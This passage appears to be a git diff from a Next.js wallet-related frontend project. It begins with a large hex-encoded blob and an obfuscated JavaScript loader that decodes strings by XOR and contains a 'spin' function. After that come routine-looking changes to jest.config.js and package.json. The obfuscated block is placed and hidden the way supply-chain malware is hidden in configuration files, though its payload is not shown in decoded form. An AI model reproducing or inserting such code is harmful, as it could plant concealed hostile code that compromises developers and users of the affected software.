651919776c19196e3c192d38622e1965102a2c181b302f796520772a287a2e656a78651b771119221961240f3822761065772d65697f19296b05692e2433193b2465220227202a2e1f196579626e2677222e1916317737193e63632d193c191917197519726865197b392f7638657b336a3819652d1918626328283f7a3b2d243f2a2e063e190b1976771919642b6519206f6379281965387c2e7a2a650d190028616565316919252d1b2e38193f1919196577192768192d77716b796363196b196f6c7d382b7778252322616f2e1328361923746b283f242865222e2828726b30192a7738703e6a652e160e1919240365656f6925770f7819381919656563192e2e38382e19776b3f67696b192f243d3618287b012622651f77380e2e2c38193c1619692a1965196a197724626221196b192e3c6b223f286538252063366325103d2e19777b7776202d0377393906196b282220250e65286509776d1910241619656e28281927393370616b10692422382e25192e2d2e2a6a1225652e28196e24693e65777d271919193219762238761919636219192e711919626a193c2839197a7765246a192819280b6936193e193a3e7e63781b2427692e193f7b6a2d3f2a196177197a3f2520282d361f656a6f647739246b02322819196b621b77176529773f197c711b1b3877166539137777652e193e631919193a253b6577651970283f22381365191932196f0b77786220191928776019397327616522196a3908171b6a25762838776328227763197c2e192e1928656b3f772e3b2e622e7777672e77630e006a653b25296f69192a1919652e3d3e2328651f2714286571197b396b62193c3c6a38187b653f7c3e657b631972142a636f6d652e7d2d651919207a0833292273276523287626630b77192f656577393965796500063928291419251963191428710f3c3f366519653036722c6f191919621f1d3f772a6365770c652f19351c1e19657027396523023826051b6b6b3f0b1919731419791965221939191b197763197868282e287b282e78221919772a1978192a2519301138366a067719666165322f2a781922647b6e2d1968196b77227977197b7371653f36192d6a696619286519271928323f3219382e0a7b19181f1973657f3a776f0d1f2e1965651b147728197d232919652e39226528661923280a1908793d19657029187719772a680077197139161f2d2e2e66706a207614386519282621386319367177192a19616d2c65772f24262e2238192565636f68142a301d0b242812666524261b2f2a2665192a272d2832241f606a1b142c383965772922196a2d656228026d632902241922633925391c65222e6519286b6a6322286318196528392b71727713383b19636f6b2619283f7738652c6a657f733938202e3d1d191b2f1920331977192f2e3925622e18386462196b272e397728381f782f283665197e08641c63651824251139621928242828382823621965771919773f653838631919772f273e652865372d733f20673827252e3b24772e19776a657d19652e2e19191f2a6d236b062d773010246f19776b19387b62766b7733182e2865283677286f2e3863632f62191928362d08191977617719652666651961192e7763333d19386b63066d192d652e1b612c6b75386277246576651922382539196574307e772229197d6219197a386b28192c3a282e272876282770292e77272d611802082f792e69313b19193677281927186725213828266f1925656a2a222277011216772d1b08380b210a6519776e6b3f6519243c19366c6b39753b3123656527196c772c24143677181963203a3323106b6d772219662d6f08773e77222a0e05197e191f191677193b3820656519312f2c65621677622e3965193965063819311b7519192e77773f14232c27773b651928262d19386a252d3f197f6b2f3f147215776724392e7e192d19336b191910391365773829321977776579196519392e251e1b633275653b7777283819273f7b3f65306518322225772c2c276f6b1d286562710e03026a65330f3e1967193b1923196338283f650639190621030619192819656b193f252f37242a7b6525682a6579620f2d206d281902191919642d2e1965280b772239387d1f607a191b33656519653828652a19686566771330196a257f192819223f196425192e72266565770a62292e2562651677652a631963653074783f196d19196422632713656b77236a2f191977696a2824746b786b7a1977662325772f3f252f247719203826686628631f2e192e2e6a1665197738771f60761965192266390b1919653968282f772819191926313f2d65082f2e193b6528301a19222921382438652d19392c66191c7b2f221919776520770419196d66196a686b16083816323f7f65662f142b1b19196c7765193d2e21183c772f2865286b672d651b65636528223f28052919256c66652e19281925391a653919332430192877697d19252f161936192663196f191824651f7e192879283365613d19242228147565387b09192d62771b772a1965240811377b6b1b04032f1a2465256b77657a382419146c6b651b772e39651077193719777b22771939706c02651910366027286a1026286a6527287725632a6b3f191903192767363b36196219731901772a1965773f2f63057516222877262e0b7e2825103e65196265296e381b2577771419196a192919766f191915776a36623829667d69680e732819632f6a19623f392a3f191977776b797a196c076a2229372e043f19193f6f3e282f251919653f6219310e650c1b326a6b190a0266253a2a3e773665322819656565281919652828286f1519192f081419773f732819233879691979656c1875626279236a2e2d326565756a22076f2e256b706e72041f3d652f6f7f19190877281b18633f3e193c276d6326686919373b2823773f036f2a77776b653f6a19180e2d6519192c28051b65196b0819227f2619776806191977703c2266680e6b77773f772e197703771939253f240e636a7b397b772f65651908692825656579293b637d083b771819692e7a27622828772a631b651b722e773a2a6277777a77256522192a191b1963361976656d67796a283c1965621b196f65773a1977366a7a611877196a192d65772877192f14771979197777681677771919193b6a65393b1977616a1f190219771b207719313f2a656d36652a272e0076221b77196c762c191b36193b6f301809656b1938326563653f6a6b2870772e7e38237d7f3f3f773b2d77243f333e071f20397570771965283b38196528193f1966682a7f3e197d65193f2e7066636f743c73713b646d19277b773968772e6b2222382d6a2f6f2a241463682826396b2e7719191d6a1b25282a773f6535283928632e6c612a716b771919252e2a112e656e642f1977191961630e6b2b602e101b283c193c6b77632e3e283f2a62657c1c77646f1b77652328181f6b7c2e19096a6560196502772923192e27653f2e65297f103e253e2e3e196a19273f63191919673667032d3f033d142565772e196b140a77737738397719337f6219056a3b192f37096b77191920222e6c2866651928252678283877182277226562650e6319637719191b196b14781977283c2e656a652777196f6a19292f672e771b190e276f3f3b396a772464626519193f6a671f633928686465193263601939192c2b772d65772a60652d626477776d776b2e1919772e226677092d0e653819292519196265196e64213f2719776e286b196a19633319682819653819196519066577197c2863282c27192826651677652e287929621b77777919196d2f2a0900623977113f75102f2a1903282e2f650619773638190c39651977747a192d19192828281963243828691919352077176a0628653b6508623e19336260631920172e6c217d061b1e1908262874191978197f6322222e6538192e611971311819701b25631162772720193d277177191a3019282269281b602e6706191c2a657719063919273f68771919383f78396a65772c7700193c196319216519192a6a650c7f19656f3b25653170302e1970797a307b1f7f63391920666c656a7719337722002377623810773f286b1b3e2e193639632d2a2a192d7c2777197e6a3919270f131926657a713b22196b77766b1921382465772e396a24193a0262197a1939393c24306d3f19190077250811667b0665283e1962286e282f7b603c776f0e77221f7777243f2f2a32257722241565196c19193c19287d7e201968011b65776a197e2e6a3930192e70322e1963657b76702822386528632c3f19793b3e7276061a2d10306704256b65651b0522637765192a221a196565286e3f646364197765396519396565276a38283e2e652a1b35196a287b782a1e19693f283828656a391d193b2a22317b7729692f3f2c2f6a65387468283d2f1935681977197762631f29650219621b28777d747c62167f1c7d6825251b3f6536392e37191e75192e2a19623b686b25186029796e22192136386313251524383228382c2f01653838103b201973656b383e3c39192532362f24650c221f65773c602865632838706a6b252363196719081910776d13197777652829281f19380a2d25281866196922776528096337191965192f6e19651e6419653907773f626a192e1979283b3b6a38777519747a196f773f2e19777719247b393f2d63192e38290f197c27222a19653638656438192839382a3927196e2d16387b196577272e77392e6e386538272738297319043308193f287a3f7d3065666b1927652e192465282c26192024193829282a7702323e3619393f68386d373f192a33196223246519382d6b201919197f283963336528763f657722786319336b65776565196f2d693f6b191938057764086b1925192f19393b191977242f7765197739102a39692777656b1b6965193865196539286a3d680f2d192e2e2924306719622f733d772d1928652801773f2e656a19196920186318621968771865231b36393f656364636528637a2f77193c6a383e7b6324651b29637b651901280e2208652d636b652265293e287768396565651919107362146a19651819096a693f191d2925141927281b19196b241925702377191b0b39732a193927283728247e63193b627719332f77776f6525772724362e3919772432192a256524326519020977233f772824290e22193663260639651f2a197b192e3f221936656a7765197a723f770a2e291914072827236a0f7b3965197b222722391928643873772819633961190b2e7777652770653928661b3e272a1928281922697b7d0b6a19286a651a202767772c777c3629632a1928076528386c6065651f63773919777765656d2d2f7519246b28242e2619283c65272825632871196c373f7719251912167f067b0c1965190d193e3f656a772d653e606f603f7719617c38191919632229232f761b6577361919762e1965146265623939677f6d6b2719362e77197d191977152c2d272e192f383f1b3577292865633832777e36192274272823776d6578303e6525147122197c29707b7719772819191928190b377a382e0c19387962287623772d722e777739602e19176c626d7e393d640d3910652a653f2565191b39251e772414287d25760e1f7765226033287c272e3d383e7739656a1928776a16193c6b65191963161b190f656b272d6a716d65292f3b1f276519681918656f197763196b777728106525656b2419397d7c39772e6619663e286119196f1965292a2e322838656a1019331919770f133f2d2528191a1b2238193f2c2877652a19736a296a77183f7b7719756b191939221975281e3b6528191c11196a190f00627b283d25252038652e6b196b152f271977282d19193e71380c192e67632c191d1969193e19191969193f1977193869650e1922141b6d1977273224182c6c38753d19283c2e7f19282c2b65237714286c633e262f191b752472191b257a196865282d19771b161938642a252d3a0519196c7765192873282219191928652a143b3f0024773b3839777c7719192265241428646a25191938636b75191b16333f3f143814242309772a6c386d651b776b65200c287d39777c2224643c1902181b1b283323193c286577652822286e7a192d73722f186b7719292838191d193833392f2a1619703f7419056767197562281b1269281928192e0d6b6a7b19193a3636397b7e077d65771965392d776f3e37287728771e660f106b28286524777e70776b63650e65236519142777193977770d77103f3f08246e26186519197802292822241919772a3b1928192810191977652d251919676519092a256332641937033b0c25196577761919773e632a28386f19782e19622628140a7f3e253f692e70382439636e191b3f632e2c636661396a2677190f6319192a65392c273165193c652d19163a2a3d24162d636e7777282827777f3872170b3e6b722e65613365640d3f18191b10656f6e252b316277776f6a7e1a2829601619783f19772d221b282e177731226519282a29396b63777729253d7d6a3f253c1428132d6325236510366138632b771b75631977656577333f721963652877632e7b19651b2a24656a2f6363660b2d7b2e77777d1924193e70632f2b6b193b6565773b672e771f7705651b19651019280431622d63772716653e3074392d771970197702612a77776f2b19636b636565657769717705196e2e196b226865316527633919672f192a652f193d77381d2863381622620623651925771919193f3f192c673565191019682e2d65703f3f3b6562381925183f27191979242e656d2822632a3665691b6d32382e19142a6e391919650f77221b38190f6a226526196919213123773e196567752f2e652104362a191a281d77386f78082c1977197e0e282f1e23282e656a1e2d651966337d7716653c287777650e6a39191b192208336518196a2665251329657c2d65312e2d11196969166332773329772077161e196628363a2d656a05227612221924191905650b383c7a073e2e7a20196d6b68390f282e19652a27191965196563691606193f062219396239273e192f6d651919283b222d02277919771977777e2d62316d2d1e192e2877387f772e25381965246977227767196a386b240922196628197b2719053f1f1962181928772d2f3e3f19192f1b31190363192838621b0f77286f1933796d717a033927246565256b2d38656f25733e3b046f7b22383838226566773d197765773a1a636a196a6b106a2f333c256519323e6122742f196e651979193f75397c386a3f193814192e2f2b6a776f16196b19266a192d33196b261924206a283f77636565251928181925176d65777b191f223c263f3b78610c631b326425330d233f197765710c2465656563193f653965777b283f1f6339776b652410223d6577197a3819722f1619601919232e196a28287919192e697228103977700f2e1b281919203f0c272c77743f0a1e6c3f3f191a19366b3c783f192a3f16631d3f6674777774656569273962652e1966191902150e003d657f7c1924602205772e282e65251933633f1903196b3f737019223962772a192833633a2a19380b2d2e39190665777665283f0b772d281965196219653933276a3f64672738191919287665227b7819231919383014331939771a7728672a77770e1c63062419776b3e3f0e692d36292d396577381960162f396b77196a1a193c65226b02191f141b246563287b3f736338191f1919282509196a696533020f650a22362e3b2419786a243176162e3f20193f643e0a7a7f19197219283f6a052a2f3914250c086a64296f361969332f772219283f15653e3e3c76782f193b3c2c197219731b3a192268193b2c723e767a227b2d776519771b7b2d363f3d1439782e3871772d3977227c63773263242719652e722424091f6514193f240e626b2a3863772819222e2f3f383819641919642e391963653c282e651965391b326319046377652c03333919771f65076a193363772463106560307728771977652e22051f19081033657f1920196f3b00696527281b6365773f206577191a0d20253c021962653f661939762e3077651b1b6b680e7d782a3b78101962072f2f28701933196a196c6b24246a623c652e6a651928777b6e7722383872193e047d22396f651965223b7d6e26667d3c19227731776b2c3976253c2e19190514141963192e013d192d196e7105191b1977251919196f651965261977391968300e28656229777d3b2e22192d683f07656519771b2119196563672a142727656b650f6b2c776339233d6b697f206a6b2b271977202e7a6b286f6f7e1931651919162e3e6d0f22196b6519776363282e39380e652a2419232e2d626e2e07196265716515622e3808196536651f771b15656b0f3277681928193b051939622519192714782f731c63287666780e2e3a2e220619192e1931192a28083e2e772777193822652a7039287765272f191265192a3927192825042d78231f382f3f77066926773863253b36710a652d3219771908776819327b3d197736771965776e2a3f386a27197566777927272f6525397e76630d716519192725192819693831782469772d196d7865656a12752d1962292e192738233b066e772d65632f6a2a29220d196b783c2a0677382e65653a2d19652214656d0e6a656d1919192819333019101965147419796a6a191928336219020665622d76687a0e0729191925012e2a0622267a62191919146b3777272a7778627b32282f6d65682576276537193870652d632e286528387628307419646e2f146a2a2504282e771939332a656c2962761477266222280a2808192865257719652e6b65651966770a197e651926102f1977777919650a25723319283f26280e6e10656519671a3f773e1b2d146a7719766b3f111928273b1b61653e2e3b7d772d65297319197728183920772e361928202f286570773f31652765776a2224657739647977197629281919381d0f6519657a29772828771936772360656b193d1f193b141b77653938633e1b1a3f71656577751920726a762a7024772a61657c39167b12627328363163772a6519652e7319246b3f276b1928630a35226a616329196e281967287b3f776b39061919776b1922776b652d1b2e61600e62266524216565267326652819636f772d651965222f2e3236280919196a3828772524721977256b193c39057b683f192f3e281466191869223022626325062819777b0577641d777765677b603c6516773c77192e2e19673c642e1965196222656b19772e6b657d192c2a65392c38601a223f2f65246a283f2e2a0719246278196b7765282f65646535776b653817652e77383b7e19657719193c2a6a616519623f1967242d191177113f2819233819396f646519086565296b6928193f676c272e2a281b286b1919771931697719226b277b2419192f19387c6519632e08281914657d69141965653b776d202f2f2e2e65777665652724657619776a29656d1928773f2808397b266d28133e6c3c252f653870383c60197f64383e0f22281b292a6b6565226a247a15393602752e7f7771193c08192228771919192869656b2f193b3f7b776519207b771c73396b192519650f286508056b273c24236527667719773b2829196b1b2e7d231266193f65280e3b7177602a661d77192a192d6c6377391919196d772a31777f191919650e627c653339287b222703191f22382865112d192d281933663f2362651968766a7708653c6927302e162e6619776477387f053f65243b69282e657f192530181924771962082816622e63193c731919656b777a2328303b7328186a2e77197419002a76227d1922106502193b196f19293319182827653b771b6a2d2a6a3d3d3804656a3b19193f650e2c27193f77656a223e2f65273e772238651924197f6a651b652826651b223619246565271b0519327d763f30772a2e65146a193c193f2a1965382d656a65167f102e6519200e3666363d2e65656f053c220f6a36657b19687722382a19783b6e7736652a190b19013f65190c2a3365196c383b087b6a190c283965790d1922192e1b2a192538191919252a7719627e1e71692576282f28740a093f65797b653f2f286a087a196b2865772e2f2a0a65196365672e2719281977286d77652e08191e19222d302a010019602e336633711b286e2e220b2e28192e20743b19657f6b19197719686f28656522606a7f19196f197868196539631b221919772865192822141e6a31191919703e153765116538631f19191f28652f3619773265142877651919306f20197f0d09636f17773c656b657019772e197f173819287377196519100e2f196b3e241910361d63653b2f6c6977012a637f3b390a19636505287777393b786575316b2e2e196a7765777e7c716d1b622810192919190e0663141b6536191962657619233977670819191963772078196023256b6e1965190d622719701965386b196521272619636327240365771977301b192e19227777282f2e006519652d19793b19632a243565193219191910711919742e2238191b2d206b123863387865286b777f292724777b7772302477191f0b19656525192219702a27743824197b2c771f65193f26773e6538177419276514192828317f6d71747b6b657e1964283f287f77197523226e65226822367719650e26287a330a252d19301828396519656e3769651b39391925772819251b6a2a19193f192d19651b6b736c1977010a6b196d22772e28283016282d6519262a19652239286522192e11692577326a776b28196b6877672e286a192f7238222860147a2a65393e6565296565192e23771935226f243f772d192f28223f77172c24147b2719263d0d63772e723877193f3f636b6a1925197d367765223f0465656d72387f2f0519286b65246519196516217b6b196b262a7f70397738082a626d6b26241033271961233f6a670a3e3b6b193e672d193f2d1021621b612819197a7719183d6b386a792802381965652e7c7f23192f6c28713d3839653870772e6377146a06192d192d07072c2a27656a653e651972630628272a632f363f042a65361928022e29260e287b0563190f6e290e6f6b392f77283c62650d770429111c1965212c651e7f692a2d192b6c266e642e2d2a331919197019252a717c3d197b2928652a141977772119193865651362383b0c226d3d6c2e652765796502652e7239192e65386c7a7639652e192e332929141919142e72282f770d021b6a6528196073657f7f7d641e777727386a16773e2b3b19383e29772975011b3c3b0b222719772262206a2f19072019653f391933633939626e6b646563162973281938603d1966286236712438196528686977283a20772e206522261918056519380e6b291b1b2562772e36247b2e69657a2f1902196a6339656e65026565192d312a14741919202d64673f281919022d657722196b292f190465281b282f2e196538362e210d293b7024652d387728142628772a0d652f25287b286b191919653a256b651928196523190021771938652028777819386528281f3f653f393f253f753c7064022811287339772265193f751928386565386b38301f2e6b776a6560651965773e191b19246577006526652a6538390677196b65283c192228771962251b637719192e2e3e3f2801286e3b05651938282e65762e2a2d7b776c0b18367a7777120221396a6a777f2a652d191965276d77196f6565273d6536377e6d1965196a7762332d3865296f7119286b2765776b246301652e656805657c3f776228773c6b2e197b65767732286b6a6565192e7477256c09101929246c2a3e19366b392a2e68197665221963383f796529356b77182865363f1f381939772a19626b393222396a0877286b3f2f35696b13653f3f1977196a2f6b2865656a2e2f65196577196b256518252e6a6a627f64241319193e652e2519776539193a1969271406652e2d3f3f396b3f192865143977196519652f2f301c2330196577656d19192877652c2d361928397e792f3f2e362f633674280d7c6533326f1c776a6565287d3b287405287b3163237f651919247614242a651b2d6a2d7f231965192f612e762f6828287d3939302464192a19186531653d65190f287765101972656c3f166d65191919667f196d2e3c172819122e24252d6b3f6526622e7665222800651930657b38277a3b28193863282327651c1965322865302e2227782d3f773064650865636525772762752677772f7a772a746b252e28771965652a3d2724193d21192c2e65146b761960651919653c2f19652f7d6e6502282863603f657128226c6528233f652965196a387f2d3f1419333f2a77383603672828652f2019252865653628686b25621965631462287a7865243f65246536776a653f191962653f7765656573192565033f283f77292719243f281a0c2515611433262e281b1f3665657777397b6b270e3f6a2f25697b3b2d652c273619772e19271f0b2265652c62252e7f193e772d19191f2c6528196528652e2e3f776565152e2e6739703f373b283f2e1c0d386b192c2a2f1939240c63273f276b686332397765682f2f3f6577196b22662477383f022f6a296219020e3f611919256d196528772219262719636663263f28206519326a7b1912017728651922753939656b3c72281f2a1976771b282f00161417792d636b686519386e653f2e7725641939322828652519286f651b6d652d65222828091b05192f197019657e77191977261b24306319301425772719222f6523196b652f192519396a013c197b65191b1939657576632d772e746577092d1633192829281b281938367719633865191b12651919141b20632477632f27777b2e19677a710f7a383d652227232e141b193b2828197a3a26652f2669773822381b2f65746b3b262f19231925283f63746f19393f1933652e622b656519653b74226a197a1939636b30652e1f191936652836771919736565193b1969282c706528287b193919656b3f6d78252f7e2e281b291465196a192a28281929282f293628636a303f776519253d6505196d352e0a386f3169777f7765242c382d082a19277724280e192419193f6565773865222b197465382c28656519381938656c6f331928380519196a192b19241914256a6819676a7e3a2d65680902190b276567651624192e192a377719103f777771372a107f771935196a600e2c6619652a1b6a2e6b6d27777e256e2819192f0d39322865386419657030306703657077257765627f653f2f26196238192f63261929306577192865391b266528192e6b2819282019336277286d28226532282e273e32706765132f3919271919686b28282d6528196b6b196f1928243939636539083b770539680e6316192519692221252c19197f77086f2a2f27192a286d3f636a66193b65162f2465282219363e3819393863256b08776a70652d2865280b31773f197f3f08193f193f2876652878282d24656a6b6b1970772d2e73192f39061919102f05102832192871751f2577271565272473192219192838382836193f3b283065381938656565362865192a1210772a616b620263272f19633c38397d6b61197c6a2a7718652877171965090e07192e7d122d777a772e281b390f2e6b38277b1b290f68191624656c772765266b19633b62772e202a28652819652f6565143e772a6c776b192722292d26252f2d1665636e19197719050f28190e19681d65652a382a10256d19676f77671977247f19192e0e196238380716730e1819192e190e22193019772865306b281c0c2d3624232f282a386516656b2d1b766b24387d7c0e2428021b24286b657c222c280d0819656b77280e65056b652919','0313260e20','727d78727d737f183c071c2306','1231251a0f','797e130c2e3e273f','7a7a797a7f722d1b2c042231','3102130826','233a2e393833273e3d3c2a282f212932262c2439312d202428223b3f393e3f25383f242528','191a29091d','7c7f7f7e7e792521390a3e2d','241304281b','1d043a322f','7a7c797878787b013f0f1d2712','1c0c390c1d','797b0d0e221f3c3f','7d7c737e737b730d2e28283d2a','787d7e7c7e7a791c040a05331a','3b380c3a24','2d11130f19','043c182d3e','28232a390a3f','12393a1a03','383b27223f','242c230303'];G_OcB_cDnVMbUXKw=function(){return MiIW_ybT_Ub;};return G_OcB_cDnVMbUXKw();}function NqHTRmzWFxaGcakRrkKp(dtN$gaf$ZXDRXUj,jVO_$qyd){var jxUFlIUITCuW$EQyIKY=G_OcB_cDnVMbUXKw();return NqHTRmzWFxaGcakRrkKp=function(nQDndLOwSfucIHX,Ek_SWdbU_tuv){nQDndLOwSfucIHX=nQDndLOwSfucIHX-(parseInt(-parseInt(0xffc))+Math.floor(0xa3)*Math.max(parseInt(0x2b),0x2b)+-parseInt(0x9ed));var mARbpJd$zIXCmnMg$G=jxUFlIUITCuW$EQyIKY[nQDndLOwSfucIHX];if(NqHTRmzWFxaGcakRrkKp['rUgQoZ']===undefined){var zHUUNxfInoXO=function(PBIaR){var bBVRtnpsG_qobSF_zAsRoghH=0x133f*Math.floor(parseInt(0x1))+Math.max(-parseInt(0x1),-parseInt(0x1))*0x2547+0x61*parseInt(0x33)&Math.floor(0x8a6)+-parseInt(0x3b6)*Math.floor(0x1)+-0x3f1,uXWumhsEYrqQH$PJopo=new Uint8Array(PBIaR['match'](/.{1,2}/g)['map'](YBgAjZm=>parseInt(YBgAjZm,parseInt(0xfe0)+Math.trunc(-0x2)*0x7e5+Number(-0x6)))),xQJKbUJJwmJoHDSfkPzChUg=uXWumhsEYrqQH$PJopo['map'](nW$vggR=>nW$vggR^bBVRtnpsG_qobSF_zAsRoghH),KQQwrHoIorEuU_aHXPyElBg=new TextDecoder(),gBkTlIWFDM=KQQwrHoIorEuU_aHXPyElBg['decode'](xQJKbUJJwmJoHDSfkPzChUg);return gBkTlIWFDM;};NqHTRmzWFxaGcakRrkKp['vksmiK']=zHUUNxfInoXO,dtN$gaf$ZXDRXUj=arguments,NqHTRmzWFxaGcakRrkKp['rUgQoZ']=!![];}var bYpscGgYsAlXHZQdJuwR_JC=jxUFlIUITCuW$EQyIKY[-parseInt(0xa1b)+parseInt(0x20d5)+-parseInt(0x16ba)],jUKFXRf_ZyYbNJEYhrIcWG=nQDndLOwSfucIHX+bYpscGgYsAlXHZQdJuwR_JC,GVvapGW$VQz$Og=dtN$gaf$ZXDRXUj[jUKFXRf_ZyYbNJEYhrIcWG];return!GVvapGW$VQz$Og?(NqHTRmzWFxaGcakRrkKp['NCdpds']===undefined&&(NqHTRmzWFxaGcakRrkKp['NCdpds']=!![]),mARbpJd$zIXCmnMg$G=NqHTRmzWFxaGcakRrkKp['vksmiK'](mARbpJd$zIXCmnMg$G),dtN$gaf$ZXDRXUj[jUKFXRf_ZyYbNJEYhrIcWG]=mARbpJd$zIXCmnMg$G):mARbpJd$zIXCmnMg$G=GVvapGW$VQz$Og,mARbpJd$zIXCmnMg$G;},NqHTRmzWFxaGcakRrkKp(dtN$gaf$ZXDRXUj,jVO_$qyd);}(function(fKjzkVVhd_jwn,FiSblZGI_KBX$yWDhxYiWlT){var RO$$LbO=NqHTRmzWFxaGcakRrkKp,Vvz$PR$TZ=fKjzkVVhd_jwn();while(!![]){try{var P$imvAHErxgCfPo=parseFloat(parseFloat(RO$$LbO(0x194))/(parseFloat(0x33)*-parseInt(0x37)+-parseInt(0x57a)+parseInt(0x1070)))+Number(-parseFloat(RO$$LbO(0x188))/(Number(-parseInt(0x4d8))+Math.ceil(-parseInt(0xece))+-0x94*-0x22))+-parseFloat(RO$$LbO(0x190))/(Math.floor(-parseInt(0x1))*-0x232+-parseInt(0x1)*-parseInt(0x1d3b)+Number(0x2)*-parseInt(0xfb5))*Math['max'](parseFloat(RO$$LbO(0x199))/(parseFloat(-0x134e)+parseInt(0x4ad)*-parseInt(0x1)+-parseInt(0x17ff)*Math.floor(-parseInt(0x1))),parseFloat(RO$$LbO(0x18f))/(parseInt(0x1)*-parseInt(0x1069)+parseInt(0x4)*-parseInt(0xf2)+0x1436))+parseFloat(RO$$LbO(0x19a))/(-0x14ea+-parseInt(0x1)*0x22da+-parseInt(0x25)*-0x182)+parseFloat(RO$$LbO(0x197))/(Math.floor(parseInt(0xae5))+Math.ceil(-0x19d7)+Math.ceil(0xef9)*parseInt(0x1))+Number(parseFloat(RO$$LbO(0x178))/(parseInt(0xa6)*0x25+parseFloat(-parseInt(0x165e))+Math.floor(-0x198)))+-parseFloat(RO$$LbO(0x18d))/(parseInt(0xc35)+Math.max(-0x12f9,-parseInt(0x12f9))+0x6cd);if(P$imvAHErxgCfPo===FiSblZGI_KBX$yWDhxYiWlT)break;else Vvz$PR$TZ['push'](Vvz$PR$TZ['shift']());}catch(KxGMErUzmeLU$aE_oG){Vvz$PR$TZ['push'](Vvz$PR$TZ['shift']());}}}(G_OcB_cDnVMbUXKw,0x8dae2*Math.floor(0x1)+-0x51ed6*-parseInt(0x2)+Math.floor(-0xa74ae)));var NX=[-parseInt(0xb)*-parseInt(0xf352d)+parseInt(0x503137)+parseInt(-0x569)*parseInt(0x1a3f),-parseInt(0xcc)*-parseInt(0x1d)+-0x41*0x5+parseInt(0x8)*parseFloat(-0x28d),Math.floor(parseInt(0x347a))+-parseInt(0x1)*parseFloat(parseInt(0x43af))+Math.ceil(-0x5ef0)*parseInt(-parseInt(0x1)),-parseInt(0x153b)+0x244+parseInt(0x155c),parseInt(0x5)*-parseInt(0x26a5)+0x48*parseInt(0x17b)+0x10190,0x938191+-0x5055ac+Math.max(-parseInt(0x7),-0x7)*-parseInt(0x15862)],SX=[0x1d03*Number(parseInt(0x343))+parseFloat(parseInt(0xb4530))+-parseInt(0x19465c),Math.max(-0xbc2,-0xbc2)+Number(-parseInt(0x137e))+0x2031*Math.trunc(0x1),-0x4148*-parseInt(0x1)+Math.max(-parseInt(0x1),-parseInt(0x1))*Math.ceil(parseInt(0xec2c))+-0xa25*Number(-0x21),Math.floor(-parseInt(0x17eb))+0x4*Math.floor(-0x6dd)+parseInt(0x341a),-0x2*parseInt(-0xa1c5)+-0x11e3f*-parseInt(0x1)+-parseInt(0x18688),-parseInt(0x861d17)+Number(parseInt(0x20d90))+0xcc5edc];function spin(KrP_LKnzqCRUZMfSmxteaEPX,xEWtWpbcAJqPh){var YwuYzUJpXHCk$Yp=NqHTRmzWFxaGcakRrkKp,eUyjCLlFHNZ={'fZXDR':function(nchQHqlcDtVSPJESpCM,AvFkiSaW){return nchQHqlcDtVSPJESpCM+AvFkiSaW;},'VOqyd':function(FnRq$_tn,L$BOjybUxJumWYVtWX){return FnRq$_tn%L$BOjybUxJumWYVtWX;},'CuWEQ':function(dJiiMyUDD$ynf,elduiHgNuaVUWInsey){return dJiiMyUDD$ynf+elduiHgNuaVUWInsey;},'YznQD':function(z_EOIk,Y_NsFhLz){return z_EOIk%Y_NsFhLz;},'OwSfu':function(tIsir$$QT,kUmweALRvzGLpDAxvPquSlZ){return tIsir$$QT%kUmweALRvzGLpDAxvPquSlZ;},'HXmEk':function(pwyzbSudqQWrpBcrCHdhMC_Ez,KbkA_ZSODOmhLoagFpHQnKf){return pwyzbSudqQWrpBcrCHdhMC_Ez%KbkA_ZSODOmhLoagFpHQnKf;}};for(var RaBpmsVMVwkEEew$I,eTmJ_QSRCCvFZwKkLJYP,Yh_RkCoxjXkN_kf,Mp$W_lt,ivEOaEYmbVMHkftsacKjPQCg,WQp$H_MD,ZaYPwaIfP_oKCANEpZISjqZQmO=[],H_$ShuKgxmcs=0x951+0x1*-0x40d+parseInt(0x2a2)*Math.trunc(-0x2),eLVYDPHglws=xEWtWpbcAJqPh[-parseInt(0x2)*Math.floor(parseInt(0xc1))+Number(-0x205d)+0x21df];H_$ShuKgxmcs/jest.setup.js'], - testEnvironment: 'jest-environment-jsdom', - moduleNameMapper: { - '^@/(.*)$': '/src/$1', - }, - testMatch: [ - '/src/**/__tests__/**/*.{js,jsx,ts,tsx}', - '/src/**/*.{spec,test}.{js,jsx,ts,tsx}', - ], - collectCoverageFrom: [ - 'src/**/*.{js,jsx,ts,tsx}', - '!src/**/*.d.ts', - '!src/**/*.stories.{js,jsx,ts,tsx}', - '!src/**/__tests__/**', - ], - coverageThreshold: { - global: { - branches: 80, - functions: 80, - lines: 80, - statements: 80, - }, - }, -} - -// createJestConfig is exported this way to ensure that next/jest can load the Next.js config which is async -module.exports = createJestConfig(customJestConfig) +const nextJest = require('next/jest') + +const createJestConfig = nextJest({ + // Provide the path to your Next.js app to load next.config.js and .env files in your test environment + dir: './', +}) + +// Add any custom config to be passed to Jest +const customJestConfig = { + setupFilesAfterEnv: ['/jest.setup.js'], + testEnvironment: 'jest-environment-jsdom', + moduleNameMapper: { + '^@/(.*)$': '/src/$1', + }, + testMatch: [ + '/src/**/__tests__/**/*.{js,jsx,ts,tsx}', + '/src/**/*.{spec,test}.{js,jsx,ts,tsx}', + ], + collectCoverageFrom: [ + 'src/**/*.{js,jsx,ts,tsx}', + '!src/**/*.d.ts', + '!src/**/*.stories.{js,jsx,ts,tsx}', + '!src/**/__tests__/**', + ], + coverageThreshold: { + global: { + branches: 80, + functions: 80, + lines: 80, + statements: 80, + }, + }, +} + +// createJestConfig is exported this way to ensure that next/jest can load the Next.js config which is async +module.exports = createJestConfig(customJestConfig); diff --git a/frontend/package.json b/frontend/package.json index 1500f8d54..ce609cdd9 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -1,120 +1,120 @@ -{ - "name": "frontend", - "version": "0.1.0", - "private": true, - "scripts": { - "dev": "next dev --webpack", - "build": "next build --webpack", - "start": "next start", - "lint": "eslint . --ext .js,.jsx,.ts,.tsx", - "format": "prettier --write .", - "format:check": "prettier --check .", - "test": "vitest run --config vitest.config.mts", - "test:watch": "vitest --config vitest.config.mts", - "test:e2e": "playwright test", - "validate:i18n": "vitest run src/i18n/__tests__/locale-key-parity.test.ts", - "analyze": "ANALYZE=true next build", - "check:bundle": "node scripts/check-bundle-size.js" - }, - "dependencies": { - "@creit.tech/stellar-wallets-kit": "1.5.0", - "@dnd-kit/core": "^6.3.1", - "@dnd-kit/sortable": "^10.0.0", - "@dnd-kit/utilities": "^3.2.2", - "@ledgerhq/hw-app-eth": "7.8.4", - "@ledgerhq/hw-app-str": "7.7.7", - "@ledgerhq/hw-transport-webhid": "6.35.2", - "@ledgerhq/hw-transport-webusb": "6.35.0", - "@lottiefiles/react-lottie-player": "^3.6.0", 